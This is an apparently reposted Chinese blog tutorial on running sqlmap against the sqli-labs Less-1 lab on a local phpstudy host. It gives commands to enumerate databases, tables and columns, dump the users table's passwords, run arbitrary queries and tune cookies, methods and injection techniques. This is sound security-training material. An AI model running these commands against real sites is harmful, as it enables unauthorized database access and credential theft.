首页 > 数据库 >sqlmap实战less-1

sqlmap实战less-1

时间:2023-04-16 16:22:06浏览次数:40  
标签:sqlmap 实战 less -- Less 192.168 sqli id

1、环境

在windows通过phpstudy部署sqli-lab靶场,在vm虚拟机部署kali。

2、直接测试

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"
  • 如果直接指定url,可以不加-u
  • url可以不加引号
  • 测试过程中会有一些选项,enter表示y确定
  • 如果已经测试的过的url,再次测试时会从文件中快速读取,而非实际再次测试

3、获取一般信息

(1)获取当前用户

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --current-user

(2)获取当前数据库

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --current-db 

(3)枚举数据库

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --dbs 

(4)枚举数据表

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --tables -D security

(5)枚举数据列

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --columns -D security -T users

(6)枚举数据

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"  -D security -T users -C password,id --dump
  • 需要使用–dump
  • -C可以指定数据列,如果有多个列,使用,分隔
  • 如果不使用-C是导出整张表
  • 类似的,对-T也可以指定一个或多个项,或者不指定

(7)指定select语句

 sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1" --sql-query="select * from security.users"
  • 注意–sql-query仅用于查询
  • 必须加引号

4、指定测试的参数

(1)指定测试参数

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"  -p id 

(2)设置cookie

sqlmap -u "http://192.168.93.1/sqli/Less-3/?id=1" -p id  --data="a=b" --method=get --cookie="security=low; PHPSESSID=2eh0cg8j1pfcn5lcud9ofnan9k"

(3)设置请求体部

sqlmap -u "http://192.168.93.1/sqli/Less-1/?id=1"  --data="a=b"

(4)指定请求方法

一般是post请求时指定,大小写不敏感

sqlmap -u "http://192.168.93.1/sqli/Less-2/?id=1"  --data="a=b" --method=get

(5)指定测试类型

sqlmap -u "http://192.168.93.1/sqli/Less-3/?id=1" -p id --technique=BU

B:Boolean-based blind(布尔型注入) E:Error-based(报错型注入) U:Union query-based(可联合查询注入) S:Stacked queries(可多语句查询注入) T:Time-based blind(基于时间延迟注入) Q:Inline queries(嵌套查询注入)

(6)指定测试数据库

sqlmap -u "http://192.168.93.1/sqli/Less-3/?id=1" --dbms=mysql

(7)默认不询问

sqlmap -u "http://192.168.93.1/sqli/Less-4/?id=1" --batch

 

标签:sqlmap,实战,less,--,Less,192.168,sqli,id
From: https://www.cnblogs.com/wd404/p/17323478.html

相关文章

  • 恶意代码分析实战 lab 20-1 20-2 20-3 C++恶意代码分析
    本次实验我们将会分析lab20-1,lab20-2文件。先来看看要求解答的问题Lab20-1需要回答的问题如下Q1.在0x401040处的函数采用了什么参数?Q2.哪个URL被用来调用URLDownloadToFile?Q3.这个程序做了什么事情?Lab20-2需要回答的问题如下:Q1.在这个程序中,你可以从有趣的字符串中了......
  • 【体验有奖】 玩转 AIGC,Serverless 一键部署 AI 图像生成服务
    玩转AIGC,5分钟Serverless部署StableDiffustion服务AI模型展现出的图像生成能力已经远超人们的预期,只需要给出文字描述就能创造出具有惊人视觉效果的图像,人人都是艺术家的时代即将来临。阿里云Serverless团队全新上线体验“基于函数计算FC+Serverless应用部署StableD......
  • TensorFlow 深度学习实战指南:1~5 全
    原文:Hands-onDeepLearningwithTensorFlow协议:CCBY-NC-SA4.0译者:飞龙本文来自【ApacheCN深度学习译文集】,采用译后编辑(MTPE)流程来尽可能提升效率。不要担心自己的形象,只关心如何实现目标。——《原则》,生活原则2.3.c一、入门TensorFlow是Google最近发布的新的......
  • 深入理解 JVM ------ 调优案例分析与实战
    1、大内存硬件上的程序部署策略网站失去响应是由垃圾收集停顿所导致的,在该系统软硬件条件下,HotSpot虚拟机是以服务端模式运行,默认使用的是吞吐量优先收集器,回收12GB的Java堆,一次FullGC的停顿时间就高达14秒(太大会导致回收停顿时间过长。再加上直接进入老年代,FullGC次数多)。......
  • Java | 一分钟掌握JDK命令行工具 | 3 - 实战
     作者:Mars酱 声明:本文章由Mars酱编写,部分内容来源于网络,如有疑问请联系本人。 转载:欢迎转载,转载前先请联系我!前言前一篇Java|一分钟掌握JDK命令行工具|2-分类-掘金(juejin.cn)罗列了一些JDK命令行工具,我们没有必要把所有命令行工具全部介绍,那样对于开发者来说不实用也......
  • Python之虚拟环境venv实战详解
     安装配置虚拟环境virtualenv官方给出的建议是最好在一开始就创建虚拟环境。在不同环境下,我们使用不同命令,即可创建出一个名为venv的虚拟环境最简的方式是使用python指令之间创建#windowspython-mvenvvenv#linux/macospython3-mvenvvenvWindows重点讲解......
  • 万字长文,带你彻底搞懂 HTTPS(文末附实战)
    大家好,我是满天星,欢迎来到我的技术角落,本期我将带你一起来了解HTTPS。前言其实网上写HTTPS的文章也不少了,但是不少文章都是从原理上泛泛而谈,只讲概念,没有讲原因,作为小白,看完还是会有一种似懂非懂的感觉。本文尝试从HTTP开始,一步一步深入到HTTPS,告诉你HTTPS到底是什么、为什......
  • 小程序直播间发红包开发实战
    大家好,我是小悟说到小程序直播间发红包的功能,以前就写过一篇实现思路和实现过程,有兴趣的请参考 微信小程序直播间开发抽红包功能 ,还是比较实用的。直播间现有的营销工具不足以满足我们的需要,那我们只有自己动手来做了。操起代码就是干,先看下效果。用户领取红包后,金额要放在哪里,那......
  • AgentGPT实战:ChatGPT如何在7天之内用100美元赚到1000美元
    本文是使用AgentGPT来实现如何在7天之内用100美元赚到1000美元,AgentGPT能在没有人工协助的情况下处理多个领域的一系列任务,可以说它重新定义我们与AI技术的交互方式。AgentGPT的官方网站为https://agentgpt.reworkd.ai/以下是AgentGPT执行过程:......
  • vue3微信公众号商城项目实战系列(5)页面适配手机屏幕
    上一篇完成了2个页面之间的跳转,在浏览器中也可以正常浏览和跳转,但这2个页面并没有为适配手机屏幕设计,如果我们用chrome浏览器模拟手机屏幕的大小后再看,结果如下图:(注:用chrome模拟手机屏幕只需要在正常情况下按下F12键,然后点击红框2处的小图标就可以了,改变模拟屏幕的大小......